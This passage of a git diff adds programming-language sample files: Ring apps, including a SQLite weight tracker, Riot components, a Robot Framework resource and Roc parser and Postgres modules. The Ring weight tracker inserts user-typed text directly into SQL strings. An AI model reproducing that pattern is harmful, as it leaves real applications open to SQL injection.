+				state = func ogame,oself {
+					if oself.y >= 400
+						ogame.shutdown = true
+						oGameState.Score = 0
+					ok
+				}
+			}
+		}
+	ok
+
+Class GameState
+	down = 3
+	gameresult = false
+	Score = 0
+	startplay=false
+	lastcol = 0
+	playerwin = false
diff --git a/samples/Ring/natural.ring b/samples/Ring/natural.ring
new file mode 100644
index 0000000000..cfcdfeaeba
--- /dev/null
+++ b/samples/Ring/natural.ring
@@ -0,0 +1,44 @@
+New App
+{
+        I want window
+        The window title = "hello world"
+}
+
+Class App
+
+        func geti
+                if nIwantwindow = 0
+                        nIwantwindow++
+                ok
+
+        func getwant
+                if nIwantwindow = 1
+                        nIwantwindow++
+                ok
+
+        func getwindow
+                if nIwantwindow = 2
+                        nIwantwindow= 0
+                        see "Instruction : I want window" + nl
+                ok
+                if nWindowTitle = 0
+                        nWindowTitle++
+                ok
+
+        func settitle cValue
+                if nWindowTitle = 1
+                        nWindowTitle=0
+                        see "Instruction : Window Title = " + cValue + nl
+                ok
+
+        private
+
+                # Attributes for the instruction I want window
+                        i want window
+                        nIwantwindow = 0
+                # Attributes for the instruction Window title
+                # Here we don't define the window attribute again
+                        title
+                        nWindowTitle = 0
+                # Keywords to ignore, just give them any value
+                        the=0
diff --git a/samples/Ring/weblib.ring b/samples/Ring/weblib.ring
new file mode 100644
index 0000000000..9e52e2bf6e
--- /dev/null
+++ b/samples/Ring/weblib.ring
@@ -0,0 +1,48 @@
+# Sample : Using the Web Library
+
+Load "weblib.ring"
+Load "datalib.ring"
+Import System.Web
+
+website = "ex24.ring"
+
+New SalaryController { Routing() }
+
+Class SalaryModel from ModelBase
+
+Class SalaryController From ControllerBase
+
+Class SalaryView From ViewBase
+
+  oLanguage = new SalaryLanguageEnglish
+
+  Func AddFuncScript oPage,oController
+        return   oPage.scriptfuncajax("myadd",oController.cMainURL+
+                 oController.cOperation+"=add","mysubpage")
+
+  Func FormViewContent oController,oTranslation,oPage
+        return [
+                        [ oTranslation.aColumnsTitles[2], "textbox", "name",
+                          oController.oModel.Name, oPage.stylewidth("100%")    ],
+                        [ oTranslation.aColumnsTitles[3], "textbox", "salary",
+                          oController.oModel.Salary, oPage.stylewidth("50%") ]
+                   ]
+
+Class SalaryLanguageEnglish
+  cTitle = "Salary Table"
+  cBack = "back"
+  aColumnsTitles = ["ID","Name","Salary"]
+  cOptions = "Options"
+  cSearch = "Search"
+  comboitems = ["Select Option...","Edit","Delete"]
+  cAddRecord = "Add Record"
+  cEditRecord = "Edit Record"
+  cRecordDeleted = "Record Deleted!"
+  aMovePages = ["First","Prev","Next","Last"]
+  cPage = "Page"
+  cOf = "of"
+  cRecordsCount = "Records Count"
+  cSave = "Save"
+  temp = new page
+  cTextAlign = temp.StyleTextRight()
+  cNoRecords = "No records!"
diff --git a/samples/Ring/weighthistory.ring b/samples/Ring/weighthistory.ring
new file mode 100644
index 0000000000..14454e5566
--- /dev/null
+++ b/samples/Ring/weighthistory.ring
@@ -0,0 +1,174 @@
+Load "guilib.ring"
+
+MyApp = new qApp
+{
+  $ApplicationObject = "oApp"   # To be used when calling events
+  oApp = new App
+  exec()
+  oApp.CloseDatabase()
+}
+
+class App
+
+  cDir = currentdir() + "/"
+  oCon
+  aIDs = []
+
+  win1 = new qWidget()
+  {
+        setWindowTitle("Weight History")
+        resize(600,600)
+        layoutButtons = new qhboxlayout()
+        {
+          label1 = new qLabel(win1) { setText("Weight") }
+          text1 = new qlineedit(win1)
+          btnAdd = new qpushbutton(win1) {
+                  setText("Add")
+                  setClickEvent($ApplicationObject+".AddWeight()")
+          }
+          btnDelete = new qpushbutton(win1) {
+                  setText("Delete")
+                  setClickEvent($ApplicationObject+".Deleteweight()")
+          }
+          addwidget(label1)
+          addwidget(text1)
+          addwidget(btnAdd)
+          addwidget(btnDelete)
+        }
+        layoutData  = new qhboxlayout()
+        {
+          Table1 = new qTableWidget(win1) {
+                setrowcount(0)
+                setcolumncount(3)
+                setselectionbehavior(QAbstractItemView_SelectRows)
+                setHorizontalHeaderItem(0, new QTableWidgetItem("Date"))
+                setHorizontalHeaderItem(1, new QTableWidgetItem("Time"))
+                setHorizontalHeaderItem(2, new QTableWidgetItem("Weight"))
+                setitemChangedEvent($ApplicationObject+".ItemChanged()")
+                                   setAlternatingRowColors(true)
+                                   horizontalHeader().setStyleSheet("color: blue")
+                                   verticalHeader().setStyleSheet("color: red")
+          }
+          addWidget(Table1)
+        }
+        layoutClose = new qhboxlayout()
+        {
+          btnclose = new qpushbutton(win1) {
+            setText("Close")
+            setClickEvent("MyApp.Quit()")
+          }
+          addwidget(btnClose)
+        }
+        layoutMain = new qvboxlayout()
+        {
+          addlayout(layoutButtons)
+          addLayout(LayoutData)
+          addLayout(layoutClose)
+        }
+        setlayout(layoutMain)
+        self.OpenDatabase()
+        self.ShowRecords()
+        show()
+  }
+
+  Func OpenDatabase
+        lCreate = False
+        if not fexists(cDir + "weighthistory.db")
+          lCreate = True
+        ok
+        new QSqlDatabase() {
+          this.oCon = addDatabase("QSQLITE") {
+                setDatabaseName("weighthistory.db")
+                Open()
+          }
+        }
+        if lCreate
+          new QSqlQuery( ) {
+                exec("create table weighthistory (id integer primary key,"+
+                     " f_date varchar(10),"+
+                     " f_time varchar(8), f_weight varchar(8) );")
+                delete()
+          }
+        ok
+
+
+  Func CloseDatabase
+        oCon.Close()
+
+  Func AddWeight
+        cWeight = text1.text()
+        AddRecord(cWeight)
+
+  Func DeleteWeight
+        Table1 {
+           nRow = CurrentRow()
+          if nRow >= 0
+                nID = this.aIDs[nROW+1]
+                new QSqlQuery( ) {
+                  exec("delete from weighthistory where id = " + nID )
+                }
+                Del(this.aIDs,nRow+1)
+                removerow(nRow)
+                selectrow(nRow)
+          ok
+        }
+
+
+  Func AddRecord cWeight
+        new QSqlQuery( ) {
+          cStr = "insert into weighthistory (f_date,f_time,f_weight) values"+
+          " ('%f1','%f2','%f3')"
+          cDate = Date()
+          cTime = Time()
+          cStr = substr(cStr,"%f1",cDate)
+          cStr = substr(cStr,"%f2",cTime)
+          cStr = substr(cStr,"%f3",cWeight)
+          exec(cStr)
+          delete()
+        }
+        ShowRecords()
+        Table1.selectrow(table1.rowcount()-1)
+
+
+  Func ShowRecords
+        table1.setitemChangedEvent("")
+        aIDs = []
+        query = new QSqlQuery() {
+          exec("select * from weighthistory")
+          nRows = 0
+          this.Table1.setrowcount(0)
+          while movenext()
+                this.table1 {
+                  insertRow(nRows)
+                  this.aIDs + query.value(0).tostring()
+                  for x = 1 to 3
+                        cStr = query.value(x).tostring()
+                        item = new qTableWidgetItem(cStr)
+                        setItem(nRows,x-1,item)
+                  next
+                }
+                nRows++
+          end
+          delete()
+        }
+        table1.setitemChangedEvent($ApplicationObject+".ItemChanged()")
+
+  Func ItemChanged
+        nRow =  table1.currentrow()
+        if nRow >= 0
+          myitem = Table1.item(table1.currentrow(),0)
+          cDate = myitem.text()
+          myitem = Table1.item(table1.currentrow(),1)
+          cTime = myitem.text()
+          myitem = Table1.item(table1.currentrow(),2)
+          cWeight = myitem.text()
+          new QSqlQuery( ) {
+                cStr = "update weighthistory set f_date ='%f1' , f_time = '%f2' , "+
+                "f_weight ='%f3' where id = " +  this.aIDs[nROW+1]
+                cStr = substr(cStr,"%f1",cDate)
+                cStr = substr(cStr,"%f2",cTime)
+                cStr = substr(cStr,"%f3",cWeight)
+                exec(cStr)
+                delete()
+          }
+        ok
diff --git a/samples/Riot/live-filtering.riot b/samples/Riot/live-filtering.riot
new file mode 100644
index 0000000000..dc9aa2824e
--- /dev/null
+++ b/samples/Riot/live-filtering.riot
@@ -0,0 +1,75 @@
+<live-filtering>
+  <header>
+    <input type="search" value={ state.keyword } onkeyup={ change } placeholder="search">
+  </header>
+
+  <currency each={ rate in filtered.slice(0, state.max) } title={ rate.title } price={ rate.price } />
+
+  <footer if={ filtered.length > state.max }>
+    and { filtered.length - state.max } more currencies
+  </footer>
+
+  <script>
+    // License MIT https://github.com/riot/examples/blob/gh-pages/LICENSE
+    // source https://github.com/riot/examples/tree/gh-pages/live-filtering
+    export default {
+      state: {
+        keyword: '',
+        rates: [],
+        max: 15,
+      },
+      get filtered() {
+        return this.state.rates.filter((c) => !this.state.keyword || c.title.indexOf(this.state.keyword.toUpperCase()) === 0)
+      },
+      onBeforeMount() {
+        fetch('https://api.exchangeratesapi.io/latest?base=USD')
+          .then((res) => res.json())
+          .then((data) => {
+            const rates = Object.keys(data.rates)
+              .map((key) => ({ title: key, price: data.rates[key] }))
+              .sort((a, b) => a.price - b.price)
+
+            this.update({ rates })
+          })
+      },
+      change(e) {
+        this.update({
+          keyword: e.target.value,
+        })
+      }
+    }
+  </script>
+
+  <style>
+    :scope {
+      display: block;
+      text-align: center;
+      color: #666;
+    }
+    header {
+      background: #72A7EE;
+      padding: 2em;
+      margin-bottom: 1em;
+    }
+    footer {
+      color: #ccc;
+      padding: 1em;
+    }
+    input[type=search] {
+      width: 100%;
+      font-size: 2em;
+      padding: .5em 0;
+      text-align: center;
+      outline: none;
+      border: 0;
+      border-radius: .2em;
+      background-color: rgba(255,255,255,.7);
+      transition: all .5s;
+    }
+    input[type=search]:hover,
+    input[type=search]:focus {
+      background-color: rgba(255,255,255,1);
+      box-shadow: 0 1px 5px rgba(0,0,0,.3);
+    }
+  </style>
+</live-filtering>
diff --git a/samples/Riot/todo.riot b/samples/Riot/todo.riot
new file mode 100644
index 0000000000..be5c25b9a5
--- /dev/null
+++ b/samples/Riot/todo.riot
@@ -0,0 +1,61 @@
+<todo>
+  <h3>{ props.title }</h3>
+
+  <ul>
+    <li each={ item in state.items }>
+      <label class={ item.done ? 'completed' : null }>
+        <input
+          type="checkbox"
+          checked={ item.done }
+          onclick={ () => toggle(item) } />
+        { item.title }
+      </label>
+    </li>
+  </ul>
+
+  <form onsubmit={ add }>
+    <input onkeyup={ edit } />
+    <button disabled={ !state.text }>
+      Add #{ state.items.length + 1 }
+    </button>
+  </form>
+
+  <script>
+    // License MIT https://github.com/riot/examples/blob/gh-pages/LICENSE
+    // source https://github.com/riot/examples/tree/gh-pages/todo-app
+    export default {
+      onBeforeMount(props, state) {
+        // initial state
+        this.state = {
+          items: props.items,
+          text: ''
+        }
+      },
+      edit(e) {
+        // update only the text state
+        this.update({
+          text: e.target.value
+        })
+      },
+      add(e) {
+        e.preventDefault()
+
+        if (this.state.text) {
+          this.update({
+            items: [
+              ...this.state.items,
+              // add a new item
+              {title: this.state.text}
+            ],
+            text: ''
+          })
+        }
+      },
+      toggle(item) {
+        item.done = !item.done
+        // trigger a component update
+        this.update()
+      }
+    }
+  </script>
+</todo>
\ No newline at end of file
diff --git a/samples/RobotFramework/keywords.resource b/samples/RobotFramework/keywords.resource
new file mode 100644
index 0000000000..622cd9f819
--- /dev/null
+++ b/samples/RobotFramework/keywords.resource
@@ -0,0 +1,21 @@
+*** Settings ***
+Documentation       Example keywords file.
+...                 It is recommended to use another ending than `.robot` for resource files.
+...                 By convention, the file ending for resource files is `.resource`.
+...                 Another resource than `.robot` makes maintaining large projects easier. It also prevents
+...                 the parser to search for tasks or test cases in resource files, which saves some startup performance.
+
+Library             Collections
+
+
+*** Variables ***
+${variable}     ${EMPTY}
+${some_list}    @{EMPTY}
+${some_dict}    &{EMPTY}
+
+
+*** Keywords ***
+Dictionary Should Contain ${key}=${value}
+    [Arguments]    ${dict}
+    Dictionary Should Contain Key    ${dict}    ${key}
+    Should Be Equal    ${dict}[key]    ${value}    msg=Dictionary does not hold expected item.
diff --git a/samples/Roc/ParserString.roc b/samples/Roc/ParserString.roc
new file mode 100644
index 0000000000..cf7e162d3c
--- /dev/null
+++ b/samples/Roc/ParserString.roc
@@ -0,0 +1,378 @@
+# From https://github.com/lukewilliamboswell/roc-parser/blob/main/package/String.roc
+# License is UPL
+interface String
+    exposes [
+        Utf8,
+        parseStr,
+        parseStrPartial,
+        parseUtf8,
+        parseUtf8Partial,
+        string,
+        utf8,
+        codeunit,
+        codeunitSatisfies,
+        anyString,
+        anyThing,
+        anyCodeunit,
+        scalar,
+        oneOf,
+        digit,
+        digits,
+        strFromUtf8,
+    ]
+    imports [
+        Core.{ Parser, ParseResult, const, map, skip, sepBy, keep, oneOrMore, parse, parsePartial, buildPrimitiveParser, chompUntil, chompWhile },
+    ]
+
+## ```
+## Utf8 : List U8
+## ```
+Utf8 : List U8
+
+## Parse a [Str] using a [Parser]
+## ```
+## color : Parser Utf8 [Red, Green, Blue]
+## color =
+##     oneOf [
+##         const Red |> skip (string "red"),
+##         const Green |> skip (string "green"),
+##         const Blue |> skip (string "blue"),
+##     ]
+##
+## expect parseStr color "green" == Ok Green
+## ```
+parseStr : Parser Utf8 a, Str -> Result a [ParsingFailure Str, ParsingIncomplete Str]
+parseStr = \parser, input ->
+    parser
+    |> parseUtf8 (strToRaw input)
+    |> Result.mapErr \problem ->
+        when problem is
+            ParsingFailure msg -> ParsingFailure msg
+            ParsingIncomplete leftoverRaw -> ParsingIncomplete (strFromUtf8 leftoverRaw)
+
+## Runs a parser against the start of a string, allowing the parser to consume it only partially.
+##
+## - If the parser succeeds, returns the resulting value as well as the leftover input.
+## - If the parser fails, returns `Err (ParsingFailure msg)`
+##
+##
+## ```
+## atSign : Parser Utf8 [AtSign]
+## atSign = const AtSign |> skip (codeunit '@')
+##
+## expect parseStr atSign "@" == Ok AtSign
+## expect parseStrPartial atSign "@" |> Result.map .val == Ok AtSign
+## expect parseStrPartial atSign "$" |> Result.isErr
+## ```
+parseStrPartial : Parser Utf8 a, Str -> ParseResult Str a
+parseStrPartial = \parser, input ->
+    parser
+    |> parseUtf8Partial (strToRaw input)
+    |> Result.map \{ val: val, input: restRaw } ->
+        { val: val, input: strFromUtf8 restRaw }
+
+## Runs a parser against a string, requiring the parser to consume it fully.
+##
+## - If the parser succeeds, returns `Ok a`
+## - If the parser fails, returns `Err (ParsingFailure Str)`
+## - If the parser succeeds but does not consume the full string, returns `Err (ParsingIncomplete (List U8))`
+parseUtf8 : Parser Utf8 a, Utf8 -> Result a [ParsingFailure Str, ParsingIncomplete Utf8]
+parseUtf8 = \parser, input ->
+    parse parser input (\leftover -> List.len leftover == 0)
+
+## Runs a parser against the start of a list of scalars, allowing the parser to consume it only partially.
+parseUtf8Partial : Parser Utf8 a, Utf8 -> ParseResult Utf8 a
+parseUtf8Partial = \parser, input ->
+    parsePartial parser input
+
+## ```
+## isDigit : U8 -> Bool
+## isDigit = \b -> b >= '0' && b <= '9'
+##
+## expect parseStr (codeunitSatisfies isDigit) "0" == Ok '0'
+## expect parseStr (codeunitSatisfies isDigit) "*" |> Result.isErr
+## ```
+codeunitSatisfies : (U8 -> Bool) -> Parser Utf8 U8
+codeunitSatisfies = \check ->
+    buildPrimitiveParser \input ->
+        { before: start, others: inputRest } = List.split input 1
+
+        when List.get start 0 is
+            Err OutOfBounds ->
+                Err (ParsingFailure "expected a codeunit satisfying a condition, but input was empty.")
+
+            Ok startCodeunit ->
+                if check startCodeunit then
+                    Ok { val: startCodeunit, input: inputRest }
+                else
+                    otherChar = strFromCodeunit startCodeunit
+                    inputStr = strFromUtf8 input
+
+                    Err (ParsingFailure "expected a codeunit satisfying a condition but found `\(otherChar)`.\n While reading: `\(inputStr)`")
+
+## ```
+## atSign : Parser Utf8 [AtSign]
+## atSign = const AtSign |> skip (codeunit '@')
+##
+## expect parseStr atSign "@" == Ok AtSign
+## expect parseStrPartial atSign "$" |> Result.isErr
+## ```
+codeunit : U8 -> Parser Utf8 U8
+codeunit = \expectedCodeUnit ->
+    buildPrimitiveParser \input ->
+        when input is
+            [] ->
+                Err (ParsingFailure "expected char `\(strFromCodeunit expectedCodeUnit)` but input was empty.")
+            [first, .. as rest] if first == expectedCodeUnit ->
+                Ok { val: expectedCodeUnit, input: rest }
+            [first, .. as rest] ->
+                Err (ParsingFailure "expected char `\(strFromCodeunit expectedCodeUnit)` but found `\(strFromCodeunit first)`.\n While reading: `\(strFromUtf8 input)`")
+
+## Parse an extact sequence of utf8
+utf8 : List U8 -> Parser Utf8 (List U8)
+utf8 = \expectedString ->
+    # Implemented manually instead of a sequence of codeunits
+    # because of efficiency and better error messages
+    buildPrimitiveParser \input ->
+        { before: start, others: inputRest } = List.split input (List.len expectedString)
+
+        if start == expectedString then
+            Ok { val: expectedString, input: inputRest }
+        else
+            errorString = strFromUtf8 expectedString
+            otherString = strFromUtf8 start
+            inputString = strFromUtf8 input
+
+            Err (ParsingFailure "expected string `\(errorString)` but found `\(otherString)`.\nWhile reading: \(inputString)")
+
+## Parse the given [Str]
+## ```
+## expect parseStr (string "Foo") "Foo" == Ok "Foo"
+## expect parseStr (string "Foo") "Bar" |> Result.isErr
+## ```
+string : Str -> Parser Utf8 Str
+string = \expectedString ->
+    strToRaw expectedString
+    |> utf8
+    |> map \_val -> expectedString
+
+## Matches any [U8] codeunit
+## ```
+## expect parseStr anyCodeunit "a" == Ok 'a'
+## expect parseStr anyCodeunit "$" == Ok '$'
+## ```
+anyCodeunit : Parser Utf8 U8
+anyCodeunit = codeunitSatisfies (\_ -> Bool.true)
+
+expect parseStr anyCodeunit "a" == Ok 'a'
+expect parseStr anyCodeunit "$" == Ok '$'
+
+## Matches any [Utf8] and consumes all the input without fail.
+## ```
+## expect
+##     bytes = Str.toUtf8 "consumes all the input"
+##     parse anyThing bytes List.isEmpty == Ok bytes
+## ```
+anyThing : Parser Utf8 Utf8
+anyThing = buildPrimitiveParser \input -> Ok { val: input, input: [] }
+
+expect
+    bytes = Str.toUtf8 "consumes all the input"
+    parse anyThing bytes List.isEmpty == Ok bytes
+
+# Matches any string
+# as long as it is valid UTF8.
+anyString : Parser Utf8 Str
+anyString = buildPrimitiveParser \fieldUtf8ing ->
+    when Str.fromUtf8 fieldUtf8ing is
+        Ok stringVal ->
+            Ok { val: stringVal, input: [] }
+
+        Err (BadUtf8 _ _) ->
+            Err (ParsingFailure "Expected a string field, but its contents cannot be parsed as UTF8.")
+
+## ```
+## expect parseStr digit "0" == Ok 0
+## expect parseStr digit "not a digit" |> Result.isErr
+## ```
+digit : Parser Utf8 Nat
+digit =
+    buildPrimitiveParser \input ->
+        when input is
+            [] ->
+                Err (ParsingFailure "Expected a digit from 0-9 but input was empty.")
+            [first, .. as rest] if first >= '0' && first <= '9' ->
+                Ok { val: Num.toNat (first - '0'), input: rest }
+            _ ->
+                Err (ParsingFailure "Not a digit")
+
+## Parse a sequence of digits into a [Nat] accepting leading zeroes
+## ```
+## expect parseStr digits "0123" == Ok 123
+## expect parseStr digits "not a digit" |> Result.isErr
+## ```
+digits : Parser Utf8 Nat
+digits =
+    oneOrMore digit
+    |> map \ds -> List.walk ds 0 (\sum, d -> sum * 10 + d)
+
+## Try a bunch of different parsers.
+##
+## The first parser which is tried is the one at the front of the list,
+## and the next one is tried until one succeeds or the end of the list was reached.
+## ```
+## boolParser : Parser Utf8 Bool
+## boolParser =
+##     oneOf [string "true", string "false"]
+##     |> map (\x -> if x == "true" then Bool.true else Bool.false)
+##
+## expect parseStr boolParser "true" == Ok Bool.true
+## expect parseStr boolParser "false" == Ok Bool.false
+## expect parseStr boolParser "not a bool" |> Result.isErr
+## ```
+oneOf : List (Parser Utf8 a) -> Parser Utf8 a
+oneOf = \parsers ->
+    buildPrimitiveParser \input ->
+        List.walkUntil parsers (Err (ParsingFailure "(no possibilities)")) \_, parser ->
+            when parseUtf8Partial parser input is
+                Ok val ->
+                    Break (Ok val)
+
+                Err problem ->
+                    Continue (Err problem)
+
+scalar : U32 -> Parser Utf8 U32
+scalar = \expectedScalar ->
+    expectedScalar
+    |> strFromScalar
+    |> string
+    |> map \_ -> expectedScalar
+
+strFromUtf8 : Utf8 -> Str
+strFromUtf8 = \rawStr ->
+    rawStr
+    |> Str.fromUtf8
+    |> Result.withDefault "Unexpected problem while turning a List U8 (that was originally a Str) back into a Str. This should never happen!"
+
+strToRaw : Str -> Utf8
+strToRaw = \str ->
+    str |> Str.toUtf8
+
+strFromScalar : U32 -> Str
+strFromScalar = \scalarVal ->
+    Str.appendScalar "" (Num.intCast scalarVal)
+    |> Result.withDefault "Unexpected problem while turning a U32 (that was probably originally a scalar constant) into a Str. This should never happen!"
+
+strFromCodeunit : U8 -> Str
+strFromCodeunit = \cu ->
+    strFromUtf8 [cu]
+
+# -------------------- example snippets used in docs --------------------
+
+parseU32 : Parser Utf8 U32
+parseU32 =
+    const Num.toU32
+    |> keep digits
+
+expect parseStr parseU32 "123" == Ok 123u32
+
+color : Parser Utf8 [Red, Green, Blue]
+color =
+    oneOf [
+        const Red |> skip (string "red"),
+        const Green |> skip (string "green"),
+        const Blue |> skip (string "blue"),
+    ]
+
+expect parseStr color "green" == Ok Green
+
+parseNumbers : Parser Utf8 (List Nat)
+parseNumbers =
+    digits |> sepBy (codeunit ',')
+
+expect parseStr parseNumbers "1,2,3" == Ok [1,2,3]
+
+expect parseStr (string "Foo") "Foo" == Ok "Foo"
+expect parseStr (string "Foo") "Bar" |> Result.isErr
+
+ignoreText : Parser Utf8 Nat
+ignoreText =
+    const (\d -> d)
+    |> skip (chompUntil ':')
+    |> skip (codeunit ':')
+    |> keep digits
+
+expect parseStr ignoreText "ignore preceding text:123" == Ok 123
+
+ignoreNumbers : Parser Utf8 Str
+ignoreNumbers =
+    const (\str -> str)
+    |> skip (chompWhile \b -> b >= '0' && b <= '9')
+    |> keep (string "TEXT")
+
+expect parseStr ignoreNumbers "0123456789876543210TEXT" == Ok "TEXT"
+
+isDigit : U8 -> Bool
+isDigit = \b -> b >= '0' && b <= '9'
+
+expect parseStr (codeunitSatisfies isDigit) "0" == Ok '0'
+expect parseStr (codeunitSatisfies isDigit) "*" |> Result.isErr
+
+atSign : Parser Utf8 [AtSign]
+atSign = const AtSign |> skip (codeunit '@')
+
+expect parseStr atSign "@" == Ok AtSign
+expect parseStrPartial atSign "@" |> Result.map .val == Ok AtSign
+expect parseStrPartial atSign "$" |> Result.isErr
+
+Requirement : [ Green Nat, Red Nat, Blue Nat ]
+RequirementSet : List Requirement
+Game : { id: Nat, requirements: List RequirementSet }
+
+parseGame : Str -> Result Game [ParsingError]
+parseGame = \s ->
+    green = const Green |> keep digits |> skip (string " green")
+    red = const Red |> keep digits |> skip (string " red")
+    blue = const Blue |> keep digits |> skip (string " blue")
+
+    requirementSet : Parser _ RequirementSet
+    requirementSet = (oneOf [green, red, blue]) |> sepBy (string ", ")
+
+    requirements : Parser _ (List RequirementSet)
+    requirements = requirementSet |> sepBy (string "; ")
+
+    game : Parser _ Game
+    game =
+        const (\id -> \r -> { id, requirements: r })
+        |> skip (string "Game ")
+        |> keep digits
+        |> skip (string ": ")
+        |> keep requirements
+
+    when parseStr game s is
+        Ok g -> Ok g
+        Err (ParsingFailure _) | Err (ParsingIncomplete _) -> Err ParsingError
+
+expect parseGame "Game 1: 3 blue, 4 red; 1 red, 2 green, 6 blue; 2 green" == Ok {
+        id: 1,
+        requirements: [
+            [Blue 3, Red 4],
+            [Red 1, Green 2, Blue 6],
+            [Green 2],
+        ]
+    }
+
+expect parseStr digit "0" == Ok 0
+expect parseStr digit "not a digit" |> Result.isErr
+
+expect parseStr digits "0123" == Ok 123
+expect parseStr digits "not a digit" |> Result.isErr
+
+boolParser : Parser Utf8 Bool
+boolParser =
+    oneOf [string "true", string "false"]
+    |> map (\x -> if x == "true" then Bool.true else Bool.false)
+
+expect parseStr boolParser "true" == Ok Bool.true
+expect parseStr boolParser "false" == Ok Bool.false
+expect parseStr boolParser "not a bool" |> Result.isErr
diff --git a/samples/Roc/PgCmd.roc b/samples/Roc/PgCmd.roc
new file mode 100644
index 0000000000..05e8c19718
--- /dev/null
+++ b/samples/Roc/PgCmd.roc
@@ -0,0 +1,140 @@
+# From https://github.com/agu-z/roc-pg/blob/main/src/Cmd.roc
+# License is UPL
+interface Cmd exposes
+    [
+        Cmd,
+        Params,
+        Limit,
+        Kind,
+        fromSql,
+        prepared,
+        params,
+        withLimit,
+        decode,
+        withDecode,
+        map,
+        bind,
+        Binding,
+        encodeBindings,
+    ] imports [
+        Protocol.Frontend.{ FormatCode },
+        Protocol.Backend.{ RowField },
+        Pg.Result.{ CmdResult },
+    ]
+
+Cmd a err := Params { decode : CmdResult -> Result a err } []
+
+Limit : [None, Limit I32]
+
+Params p k : {
+    kind : Kind k,
+    bindings : List Binding,
+    limit : Limit,
+}p
+
+Kind k : [
+    SqlCmd Str,
+    PreparedCmd
+        {
+            name : Str,
+            fields : List RowField,
+        },
+]k
+
+fromSql : Str -> Cmd CmdResult []
+fromSql = \sql ->
+    new (SqlCmd sql)
+
+prepared : { name : Str, fields : List RowField } -> Cmd CmdResult []
+prepared = \prep ->
+    new (PreparedCmd prep)
+
+new : Kind [] -> Cmd CmdResult []
+new = \kind ->
+    @Cmd {
+        kind,
+        limit: None,
+        bindings: [],
+        decode: Ok,
+    }
+
+params : Cmd a err -> Params {} []
+params = \@Cmd { kind, bindings, limit } ->
+    { kind, bindings, limit }
+
+withLimit : Cmd a err, I32 -> Cmd a err
+withLimit = \@Cmd cmd, limit ->
+    @Cmd { cmd & limit: Limit limit }
+
+decode : CmdResult, Cmd a err -> Result a err
+decode = \r, @Cmd cmd ->
+    cmd.decode r
+
+withDecode : Cmd * *, (CmdResult -> Result a err) -> Cmd a err
+withDecode = \@Cmd cmd, fn ->
+    @Cmd {
+        kind: cmd.kind,
+        limit: cmd.limit,
+        bindings: cmd.bindings,
+        decode: fn,
+    }
+
+map : Cmd a err, (a -> b) -> Cmd b err
+map = \@Cmd cmd, fn ->
+    @Cmd {
+        kind: cmd.kind,
+        limit: cmd.limit,
+        bindings: cmd.bindings,
+        decode: \r -> cmd.decode r |> Result.map fn,
+    }
+
+bind : Cmd a err, List Binding -> Cmd a err
+bind = \@Cmd cmd, bindings ->
+    @Cmd { cmd & bindings }
+
+Binding : [
+    Null,
+    Text Str,
+    Binary (List U8),
+]
+
+encodeBindings : List Binding
+    -> {
+        formatCodes : List FormatCode,
+        paramValues : List [Null, Value (List U8)],
+    }
+encodeBindings = \bindings ->
+    count = List.len bindings
+
+    empty = {
+        formatCodes: List.withCapacity count,
+        paramValues: List.withCapacity count,
+    }
+
+    List.walk bindings empty \state, binding ->
+        { format, value } = encodeSingle binding
+
+        {
+            formatCodes: state.formatCodes |> List.append format,
+            paramValues: state.paramValues |> List.append value,
+        }
+
+encodeSingle = \binding ->
+    when binding is
+        Null ->
+            {
+                value: Null,
+                format: Binary,
+            }
+
+        Binary value ->
+            {
+                value: Value value,
+                format: Binary,
+            }
+
+        Text value ->
+            {
+                value: Value (Str.toUtf8 value),
+                format: Text,
+            }
diff --git a/samples/Roc/PgProtocolBackend.roc b/samples/Roc/PgProtocolBackend.roc
new file mode 100644
index 0000000000..1f723cdee3
--- /dev/null
+++ b/samples/Roc/PgProtocolBackend.roc
@@ -0,0 +1,367 @@
+# From https://github.com/agu-z/roc-pg/blob/main/src/Protocol/Backend.roc
+# License is UPL
+interface Protocol.Backend
+    exposes [
+        header,
+        message,
+        Message,
+        KeyData,
+        Status,
+        RowField,
+        Error,
+    ]
+    imports [
+        Bytes.Decode.{
+            Decode,
+            await,
+            map,
+            succeed,
+            fail,
+            loop,
+            u8,
+            i16,
+            i32,
+            cStr,
+            take,
+        },
+    ]
+
+Message : [
+    AuthOk,
+    AuthCleartextPassword,
+    AuthUnsupported,
+    ParameterStatus { name : Str, value : Str },
+    BackendKeyData KeyData,
+    ReadyForQuery Status,
+    ErrorResponse Error,
+    ParseComplete,
+    BindComplete,
+    NoData,
+    RowDescription (List RowField),
+    ParameterDescription,
+    DataRow (List (List U8)),
+    PortalSuspended,
+    CommandComplete Str,
+    EmptyQueryResponse,
+    CloseComplete,
+]
+
+header : Decode { msgType : U8, len : I32 } _
+header =
+    msgType <- await u8
+    len <- map i32
+
+    { msgType, len: len - 4 }
+
+message : U8 -> Decode Message _
+message = \msgType ->
+    when msgType is
+        'R' ->
+            authRequest
+
+        'S' ->
+            paramStatus
+
+        'K' ->
+            backendKeyData
+
+        'Z' ->
+            readyForQuery
+
+        'E' ->
+            errorResponse
+
+        '1' ->
+            succeed ParseComplete
+
+        '2' ->
+            succeed BindComplete
+
+        'n' ->
+            succeed NoData
+
+        'T' ->
+            rowDescription
+
+        't' ->
+            succeed ParameterDescription
+
+        'D' ->
+            dataRow
+
+        's' ->
+            succeed PortalSuspended
+
+        'C' ->
+            commandComplete
+
+        'I' ->
+            succeed EmptyQueryResponse
+
+        '3' ->
+            succeed CloseComplete
+
+        _ ->
+            fail (UnrecognizedBackendMessage msgType)
+
+authRequest : Decode Message _
+authRequest =
+    authType <- map i32
+
+    when authType is
+        0 ->
+            AuthOk
+
+        3 ->
+            AuthCleartextPassword
+
+        _ ->
+            AuthUnsupported
+
+paramStatus : Decode Message _
+paramStatus =
+    name <- await cStr
+    value <- await cStr
+    succeed (ParameterStatus { name, value })
+
+KeyData : { processId : I32, secretKey : I32 }
+
+backendKeyData : Decode Message _
+backendKeyData =
+    processId <- await i32
+    secretKey <- await i32
+    succeed (BackendKeyData { processId, secretKey })
+
+Status : [Idle, TransactionBlock, FailedTransactionBlock]
+
+readyForQuery : Decode Message _
+readyForQuery =
+    status <- await u8
+
+    when status is
+        'I' ->
+            succeed (ReadyForQuery Idle)
+
+        'T' ->
+            succeed (ReadyForQuery TransactionBlock)
+
+        'E' ->
+            succeed (ReadyForQuery FailedTransactionBlock)
+
+        _ ->
+            fail (UnrecognizedBackendStatus status)
+
+Error : {
+    localizedSeverity : Str,
+    severity : Result ErrorSeverity {},
+    code : Str,
+    message : Str,
+    detail : Result Str {},
+    hint : Result Str {},
+    position : Result U32 {},
+    internalPosition : Result U32 {},
+    internalQuery : Result Str {},
+    ewhere : Result Str {},
